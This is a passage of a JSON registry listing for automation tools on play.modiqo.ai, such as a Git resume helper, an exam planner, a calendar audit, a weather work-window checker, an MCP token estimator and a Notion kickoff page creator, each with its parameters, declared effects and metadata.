files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5c7489bde959b844d629b4af088768fa0c93b5a625ab2c763aaa19bab35d720e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":0,"shell":10,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":10,"fan_out":0,"for_each_steps":0,"complexity":10,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":10}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/where-did-i-stop@0.2.22","reference":"sakshamsai26/where-did-i-stop@0.2.22","uri":"https://play.modiqo.ai/sakshamsai26/where-did-i-stop@0.2.22","manifest_uri":"https://play.modiqo.ai/sakshamsai26/where-did-i-stop@0.2.22","name":"where-did-i-stop","title":"where-did-i-stop","description":"Remind yourself what you were building after time away. Reads Git state, unfinished markers, and bounded source signals to propose the smallest next action. Read-only: never executes project code or changes Git.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.22","published_at":"2026-09-05T08:58:04.420388+00:00","visibility":"public","quality_score":1,"size_bytes":7373,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":11,"names":["risks","scope","analyze","boundary","classify","inventory","preflight","dependencies","verification","write_report","recommendations"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local project you are authorized to inspect."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:dbd7bebfa4722e325b8456c91b5f71363d907b2656462b203177091b26bb80a0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":11,"kinds":{"api":0,"shell":11,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":11,"fan_out":0,"for_each_steps":0,"complexity":11,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":11}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/exam-panic-planner@0.2.23","reference":"sakshamsai26/exam-panic-planner@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/exam-panic-planner@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/exam-panic-planner@0.2.23","name":"exam-panic-planner","title":"exam-panic-planner","description":"Turn syllabus topics and days remaining into a dependency-first exam plan with realistic practice and postponement guidance. Read-only and uncertainty-aware.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:35:00.570392+00:00","visibility":"public","quality_score":1,"size_bytes":7151,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":10,"names":["plan","scope","boundary","classify","inventory","preflight","constraints","dependencies","verification","write_report"]},"parameters":[{"name":"syllabus","type":"string","required":true,"description":"Plain-text syllabus or topic list; do not include credentials."},{"name":"days","type":"string","required":true,"description":"Positive number of study days remaining."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0238f63c2b5ac810e3d801a7b786d10cab5c446782c36f7557553d7bacbfcc69","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":0,"shell":10,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":9,"fan_out":0,"for_each_steps":0,"complexity":10,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":10}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/dependency-upgrade-impact-mapper@0.4.22","reference":"sakshamsai26/dependency-upgrade-impact-mapper@0.4.22","uri":"https://play.modiqo.ai/sakshamsai26/dependency-upgrade-impact-mapper@0.4.22","manifest_uri":"https://play.modiqo.ai/sakshamsai26/dependency-upgrade-impact-mapper@0.4.22","name":"dependency-upgrade-impact-mapper","title":"dependency-upgrade-impact-mapper","description":"A dependency upgrade can affect application code, wrappers, configuration, tests, build images, and generated contracts in different ways. Dependency Upgrade Impact Mapper starts with a local repository and dependency name, then compiles a static blast-radius report across manifests, direct imports, indirect references, configuration, and test paths. It grades direct observable usage separately from heuristics and suggests a safe verification order without running commands. The report is not a changelog parser, compatibility guarantee, or security verdict: dynamic imports, transitive behavior, runtime feature flags, and upstream release notes remain UNKNOWN unless provided locally. Read-only: no package operation, lockfile write, test execution, service access, or repository mutation occurs.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","dependencies","upgrade-review","blast-radius","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.4.22","published_at":"2026-09-05T08:34:41.397236+00:00","visibility":"public","quality_score":1,"size_bytes":6775,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":10,"names":["map","boundary","classify","inventory","preflight","constraints","write_report","recommendations","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local repository you are authorized to inspect. The repository is scanned read-only; dependency installation and package scripts are never run."},{"name":"dependency","type":"string","required":true,"description":"Exact package identifier to map, for example express or @scope/package. Supply the dependency name only; describe the intended version range in your run request if needed."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f2b7355d60ea6131785ba2fc00813cafa3491449ae552013e1e75ed8029a9839","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":0,"shell":10,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":8,"fan_out":8,"for_each_steps":1,"complexity":10,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":10}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/assignment-to-checklist@0.3.23","reference":"sakshamsai26/assignment-to-checklist@0.3.23","uri":"https://play.modiqo.ai/sakshamsai26/assignment-to-checklist@0.3.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/assignment-to-checklist@0.3.23","name":"assignment-to-checklist","title":"assignment-to-checklist","description":"Assignment instructions frequently hide deliverables, filename rules, formatting constraints, marks, deadlines, and submission traps in long prose. Assignment To Checklist extracts the observable requirements into an actionable checklist, identifies wording that should be confirmed with the instructor rather than guessed, and can compare named deliverables against a local submission folder when one is supplied. It keeps requirement text distinct from folder evidence: a missing filename is a review lead, not proof that a requirement was violated; ambiguous instructions remain ambiguous. It is especially useful as a pre-submission review packet shared with a teammate or TA. Read-only: it does not execute student code, upload work, inspect secret values, edit files, or contact a learning platform.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.3.23","published_at":"2026-09-05T08:33:02.049764+00:00","visibility":"public","quality_score":1,"size_bytes":9376,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":10,"names":["boundary","classify","checklist","inventory","preflight","constraints","write_report","recommendations","parallel_targets","parallel_evidence"]},"parameters":[{"name":"instructions","type":"string","required":true,"description":"Plain-text assignment instructions; do not include credentials or private data."},{"name":"root","type":"string","required":false,"default":"","description":"Optional absolute submission folder for bounded filename evidence."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d3bd9d171378046f466ee9c29bacdaeb069b90a1bdc36f43310043c72c4148d3","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":0,"shell":10,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":8,"fan_out":8,"for_each_steps":1,"complexity":10,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":10}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/tutorial-hell-detector@0.2.23","reference":"sakshamsai26/tutorial-hell-detector@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/tutorial-hell-detector@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/tutorial-hell-detector@0.2.23","name":"tutorial-hell-detector","title":"tutorial-hell-detector","description":"Find signs that a student project accumulated conflicting tutorials: duplicate approaches, routing systems, stale configs, dead experiments, multiple package managers, and outdated README instructions. Read-only: never executes code or reads secrets.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:32:51.691274+00:00","visibility":"public","quality_score":1,"size_bytes":7243,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":10,"names":["detect","boundary","classify","inventory","preflight","constraints","write_report","recommendations","parallel_targets","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local project folder you are authorized to inspect."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:482669eb34299e177473ac038cb7463e9432eb52845cfd72c3d11f8ec16ff8fb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":0,"shell":10,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":8,"fan_out":8,"for_each_steps":1,"complexity":10,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":10}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shrinet82/calendar-load-audit@0.1.1","reference":"shrinet82/calendar-load-audit@0.1.1","uri":"https://play.modiqo.ai/shrinet82/calendar-load-audit@0.1.1","manifest_uri":"https://play.modiqo.ai/shrinet82/calendar-load-audit@0.1.1","name":"calendar-load-audit","title":"calendar-load-audit","description":"You finished the week with nothing to show for it and no clear idea where it went. This reads a calendar export you already have and answers that: the hours that went to meetings, the longest uninterrupted block you were actually left with, the time you were only optional in, and the standing series nobody has revisited in months. Plus the patterns that quietly wreck a week -- early calls, back-to-back runs with no gap, and rooms of eight or more. Repeating events are expanded only where the rule is unambiguous; anything else is listed as not counted, with the reason. No login, no upload, nothing to install: an .ics is plain text and every calendar app exports one. Reads the file and never modifies it; writes one PDF report.","owner":{"kind":"user","slug":"shrinet82"},"registry_organization":"shrinet82","tags":["effect-read-only","effect-writes-one-local-file","audience-everyone","domain-workplace","job-calendar-audit","no-credentials"],"primary_domain":"domain-workplace","author":"Shashwat Pratap Singh","version":"0.1.1","published_at":"2026-09-05T05:58:23.265882+00:00","visibility":"public","quality_score":1,"size_bytes":12826,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":5,"names":["report","load_meter","hygiene_check","commitment_mix","validate_input"]},"parameters":[{"name":"calendar","type":"string","required":false,"default":"","description":"Absolute path to a .ics calendar export. Leave empty to audit the sample week bundled with this Play, so a first run needs no file of your own.","example":"/home/you/calendar.ics"},{"name":"you","type":"string","required":false,"default":"","description":"Your own email address as it appears in the calendar. Used only to tell which meetings you were optional in, which you declined, and which you called yourself. Leave empty to skip those three findings.","example":"you@company.com"},{"name":"day_starts","type":"integer","required":false,"default":"9","description":"Hour your working day starts, 0-23. Meetings before it count as outside hours, and focus blocks are measured inside it.","example":"9"},{"name":"day_ends","type":"integer","required":false,"default":"18","description":"Hour your working day ends, 0-23.","example":"18"},{"name":"report","type":"string","required":false,"default":"calendar-audit.pdf","description":"Filename for the PDF report. Writes one file into the folder you run the Play from, every run, by default -- set to an empty string for no file at all. Give an absolute path to put it elsewhere.","example":"/home/you/calendar-audit.pdf"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:76f081501c447b594583f1d8a262246becfedc1b5b04e122cfa60c493971a481","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/outdoor-work-window@0.1.4","reference":"himanshu-jha/outdoor-work-window@0.1.4","uri":"https://play.modiqo.ai/himanshu-jha/outdoor-work-window@0.1.4","manifest_uri":"https://play.modiqo.ai/himanshu-jha/outdoor-work-window@0.1.4","name":"outdoor-work-window","title":"outdoor-work-window","description":"Finds which coming days are workable outdoors for a place you name, using your thresholds and showing the measurement behind each rejection. A geocoding adapter turns the place name into coordinates. Weather and air-quality adapters then supply rain, wind, heat and particulates at those coordinates. These two readings run in parallel because neither depends on the other. A day counts as workable only when every dimension has a reading. A forecast day with no air-quality reading is reported NOT JUDGED and is never counted workable. Set the rain, wind, heat and PM2.5 thresholds to your organisation's safety policy; each report restates the thresholds it used. None of the three adapters needs a credential or sign-up. The Play reads public services with GET requests and sends no write requests.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-operations","domain-operations","tool-open-meteo","weather","scheduling","fieldwork"],"primary_domain":"domain-operations","author":"himanshu748","version":"0.1.4","published_at":"2026-09-05T05:14:01.237018+00:00","visibility":"public","quality_score":1,"size_bytes":15214,"license":"MIT","stats":{"downloads":8,"installs":0},"steps":{"count":6,"names":["check_place","assess_window","resolve_place","assess_weather","fetch_forecast","fetch_air_quality"]},"parameters":[{"name":"place","type":"string","required":false,"default":"Bengaluru","description":"The place to check, as you would say it out loud. It is resolved to coordinates by geocoding, and the report names what it resolved to so a wrong match is visible rather than silent.","example":"Rotterdam"},{"name":"days","type":"string","required":false,"default":"7","description":"How many forecast days to consider, 1 to 16.","example":"7"},{"name":"rain_mm","type":"string","required":false,"default":"5","description":"Daily precipitation above this, in millimetres, blocks a day.","example":"5"},{"name":"wind_kmh","type":"string","required":false,"default":"35","description":"Maximum wind above this, in km/h, blocks a day. The default is illustrative; replace it with the limit for your work and policy.","example":"35"},{"name":"heat_c","type":"string","required":false,"default":"38","description":"Maximum temperature above this, in Celsius, blocks a day.","example":"38"},{"name":"pm25","type":"string","required":false,"default":"55","description":"Worst hourly PM2.5 above this blocks a day. The default is illustrative; replace it with the limit for your work and policy.","example":"55"}],"execution":{"adapters":[{"id":"modiqo/open-meteo","name":"open-meteo","version":null,"credential_status":"none"},{"id":"modiqo/open-meteo-air-quality","name":"open-meteo-air-quality","version":null,"credential_status":"none"},{"id":"modiqo/open-meteo-geocoding","name":"open-meteo-geocoding","version":null,"credential_status":"none"},{"id":"open-meteo-geocoding","name":"open-meteo-geocoding","version":null,"credential_status":"none"},{"id":"open-meteo","name":"open-meteo","version":null,"credential_status":"none"},{"id":"open-meteo-air-quality","name":"open-meteo-air-quality","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3c02c7577f52c4907beb8d4dfb3cbf00c5d1217e2a77fd1e86b07856986c8c50","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":3,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":4,"width":2,"fan_out":0,"for_each_steps":0,"complexity":12,"apis":[{"adapter":"open-meteo","steps":1,"methods":["get_v1_forecast"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/open-meteo","version":"1.0.0","protocol":null,"credentials":[]},{"adapter":"open-meteo-air-quality","steps":1,"methods":["get_v1_air_quality"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/open-meteo-air-quality","version":"1.0.0","protocol":null,"credentials":[]},{"adapter":"open-meteo-geocoding","steps":1,"methods":["searchLocations"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/open-meteo-geocoding","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":2,"label":"open-meteo · browser"}},{"id":"https://play.modiqo.ai/dotisacat/mcp-context-tax@0.1.6","reference":"dotisacat/mcp-context-tax@0.1.6","uri":"https://play.modiqo.ai/dotisacat/mcp-context-tax@0.1.6","manifest_uri":"https://play.modiqo.ai/dotisacat/mcp-context-tax@0.1.6","name":"mcp-context-tax","title":"mcp-context-tax","description":"How many tokens of your context window do your configured MCP servers consume before you type a word? Discovers MCP server configs across installed harnesses (Claude Code, Claude Desktop, Cursor, Codex, Windsurf), sorts each into stdio (local, spawnable) or remote (never contacted -- zero network calls of its own), then briefly spawns each local server in an isolated process group with a minimal allowlisted environment to read its advertised schemas via the standard MCP handshake before terminating that process group. You get every server's estimated token cost (schema size, chars divided by four, always labeled an ESTIMATE, never a real tokenizer count), ranked, with each landing in one honest bucket: healthy, needs-auth, slow, unresponsive, remote-not-probed, or config-error. A server needing credentials it was never given, or refusing to spawn, is a labeled degrade (a short reason code, never raw child output that could echo a credential) -- never a crash. Read-only against your configs: it collects only advertised schemas and byte sizes, never environment variable values (only a has_env flag and var name count) and never argument values (only a structural summary) -- real values exist only long enough to spawn a server for probing, in a private file this play never prints. No credentials transmitted beyond that allowlisted environment; needs only python3.","owner":{"kind":"user","slug":"dotisacat"},"registry_organization":"dotisacat","tags":["domain-agent-operations","job-context-measurement","audience-developers","effect-read-only","tool-shell"],"primary_domain":"domain-agent-operations","author":"Sunzeyu06","version":"0.1.6","published_at":"2026-09-04T18:06:39.311999+00:00","visibility":"public","quality_score":1,"size_bytes":22591,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":2,"names":["probe_server","discover_configs"]},"parameters":[{"name":"per_server_timeout_s","type":"integer","required":false,"default":"10","description":"Seconds to wait for each server's handshake (1-60)","example":"10"},{"name":"max_servers","type":"integer","required":false,"default":"20","description":"Probe at most this many servers (1-50); the rest are listed unprobed","example":"20"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:862b5117ce3c8e02047bf74687851ef2a40759912de5625e83c0e91d91c9b9b3","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":3,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/aaryanp/github-stale-pr-calendar-reminder@0.0.5","reference":"aaryanp/github-stale-pr-calendar-reminder@0.0.5","uri":"https://play.modiqo.ai/aaryanp/github-stale-pr-calendar-reminder@0.0.5","manifest_uri":"https://play.modiqo.ai/aaryanp/github-stale-pr-calendar-reminder@0.0.5","name":"github-stale-pr-calendar-reminder","title":"github-stale-pr-calendar-reminder","description":"Requires a GITHUB_TOKEN environment variable (read-only access is sufficient) before running. Pull requests open longer than N days on a GitHub repository, with a ready-to-save Google Calendar reminder link listing them","owner":{"kind":"user","slug":"aaryanp"},"registry_organization":"aaryanp","tags":["typescript","github","pull-requests","stale","calendar","reminder","google-calendar","repo-health","open","longer","days","listing","explore","check","create"],"primary_domain":"domain-uncategorized","author":"aaryanp","version":"0.0.5","published_at":"2026-09-04T17:46:13.957867+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":7029,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":4,"names":["stale_prs","auth_github","compute_since","compute_today"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner (user or org)"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name"},{"name":"days","type":"string","required":false,"default":"14","description":"Minimum number of days a pull request must have been open to count as stale"}],"execution":{"adapters":[{"id":"aaryanp/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9b17d8d982fd3816882351b18188c29656162e1d45c3010c24b854d2fcfabd3c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":1,"shell":2,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":2,"width":3,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[{"adapter":"github","steps":2,"methods":["search/issues-and-pull-requests"],"display_name":"GitHub v3 REST API","host":"api.github.com","kind":"rest","tools":1108,"fingerprint":"mcp_kmcjZ2U5m8NQMM8491mGhVmZthZ","source":"aaryanp/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"date","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1108},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/agent-forge/morning-workstation-prep@0.9.0","reference":"agent-forge/morning-workstation-prep@0.9.0","uri":"https://play.modiqo.ai/agent-forge/morning-workstation-prep@0.9.0","manifest_uri":"https://play.modiqo.ai/agent-forge/morning-workstation-prep@0.9.0","name":"morning-workstation-prep","title":"morning-workstation-prep","description":"Launch your whole work environment in one run. rote prompts Run / Edit parameters / Cancel: Run launches the saved workstation (first run opens a file in your text editor to set browser, applications and files); Edit parameters re-opens that file so you can update it. File-editor based, so it works under rote play run. Cross-platform: macOS, Linux, WSL2.","owner":{"kind":"user","slug":"agent-forge"},"registry_organization":"agent-forge","tags":["typescript","workstation","morning-routine","automation","cross-platform"],"primary_domain":"domain-uncategorized","author":"agent-forge","version":"0.9.0","published_at":"2026-09-04T16:47:40.043966+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":11544,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":1,"names":["launch"]},"parameters":[{"name":"action","type":"string","required":true,"description":"What to do — run (launch saved workstation) or edit (re-open the workstation file in your text editor)","values":["run","edit"]}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2686e950bb08a7ff8d62a5384c8603f40021a3dec492040aea11533f9ac0f58d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/project-kickoff-page@0.6.3","reference":"himanshu-jha/project-kickoff-page@0.6.3","uri":"https://play.modiqo.ai/himanshu-jha/project-kickoff-page@0.6.3","manifest_uri":"https://play.modiqo.ai/himanshu-jha/project-kickoff-page@0.6.3","name":"project-kickoff-page","title":"project-kickoff-page","description":"Creates one Notion kickoff page for an explicitly named repository after validating the repository, deadline and optional parent page id. Automatic repository discovery is deliberately disabled: a bounded scan can miss a nested repository or one past the first 200 entries, and choosing the wrong repository before a write is unsafe. Rote performs its automatic Notion authentication preflight before the DAG, which may refresh an expired OAuth token; no page-create call is reachable until validation, parallel inspection and audit, and page composition have completed. It counts tests and CI only when real files exist, strips credentials from remote URLs, resolves chained README tasks and common local entrypoints, scans every tracked file for secret shapes within explicit bounds, and treats skipped, truncated, malformed or incomplete evidence as unknown rather than clean. Exactly one conditional create step routes either to the supplied parent page or to a private workspace-level page. A create call whose response cannot prove whether a page exists omits the boolean `created` result and reports an unconfirmed write so callers do not retry blindly. It never edits, archives or deletes an existing page.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-write","audience-developers","domain-engineering","tool-notion","notion","project","kickoff","milestones"],"primary_domain":"domain-engineering","author":"himanshu748","version":"0.6.3","published_at":"2026-09-04T15:38:01.640378+00:00","visibility":"public","quality_score":1,"size_bytes":31181,"license":"MIT","stats":{"downloads":8,"installs":0},"steps":{"count":6,"names":["audit_repo","compose_page","inspect_repo","validate_repo","create_page_root","create_page_child"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Absolute path to the repository you are starting work on. It is required: this Play will not guess from a bounded project-directory scan, because repositories may be nested or fall past the first 200 entries and a wrong guess would create a Notion page for the wrong project. A relative path is never right here: steps run in the play run workspace, not your shell.","example":"/Users/me/src/my-entry"},{"name":"deadline","type":"string","required":false,"default":"","description":"Optional deadline as YYYY-MM-DD. When given, the page records it and how many days remain at creation time.","example":"2026-09-06"},{"name":"parent_page_id","type":"string","required":false,"default":"","description":"Optional Notion page id to create the page under. When empty the page is created as a private workspace-level page, which is the safe default because it lands somewhere only you can 